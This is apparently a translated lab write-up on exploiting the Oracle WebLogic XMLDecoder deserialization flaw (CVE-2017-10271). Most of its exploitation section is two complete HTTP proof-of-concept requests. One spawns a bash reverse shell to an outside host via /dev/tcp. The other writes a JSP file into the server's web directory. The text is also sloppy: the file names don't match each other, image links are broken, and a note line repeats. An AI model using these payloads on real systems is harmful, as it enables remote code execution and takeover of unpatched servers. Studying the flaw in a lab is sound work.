[Research] WebLogic Vulnerability Series: XMLDecoder Deserialization Vulnerability (CVE-2017-10271)

[Research] WebLogic Vulnerability Series: ‘wls-wsat’ XMLDecoder Deserialization Vulnerability (CVE-2017-10271)

• • 1. Environment
  • 2. Principle
  • 3. Affected Versions
  • 4. Exploitation Process

1. Environment

Environment
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
Setting up this environment is quick and convenient. See the instructions for details; the process is very simple.

2. Principle

WebLogic’s WLS Security component exposes web services and uses XMLDecoder to parse user-supplied XML data. A deserialization vulnerability occurs during parsing, allowing arbitrary commands to be executed.

3. Affected Versions

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.1.0

4. Exploitation Process

PoC for obtaining a reverse shell
The reverse shell command must be encoded; otherwise, a formatting error will occur when the XML is parsed.

Note that the lab environment address must include both the IP address and port: 10.77.0.130:7001

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 10.77.0.130:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 634

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.77.0.58/666 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Reverse shell obtained successfully
![Insert image description here](/images/20190815164715796.png Access: http://your-ip:7001/bea\_wls\_internal/test.jsp
PoC for writing a webshell
Write a file to servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt.
The file name is xxxx, and the file content is xxxx.
After the request is sent successfully, the server returns a 500 status code.
Note that the Content-Type: text/xml header must be included; otherwise, the request will fail.

Note that the lab environment address must include both the IP address and port: 10.77.0.130:7001

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
```![Insert image description here](/images/2019081517241877.png 
The upload path is http://10.77.0.130:7001/bea\_wls\_internal/tt.jsp

![在这里插入图片描述](/images/20190815172826461.png)

Note that the lab environment address must include both the IP address and port: 10.77.0.130:7001

Note that the lab environment address must include both the IP address and port: 10.77.0.130:7001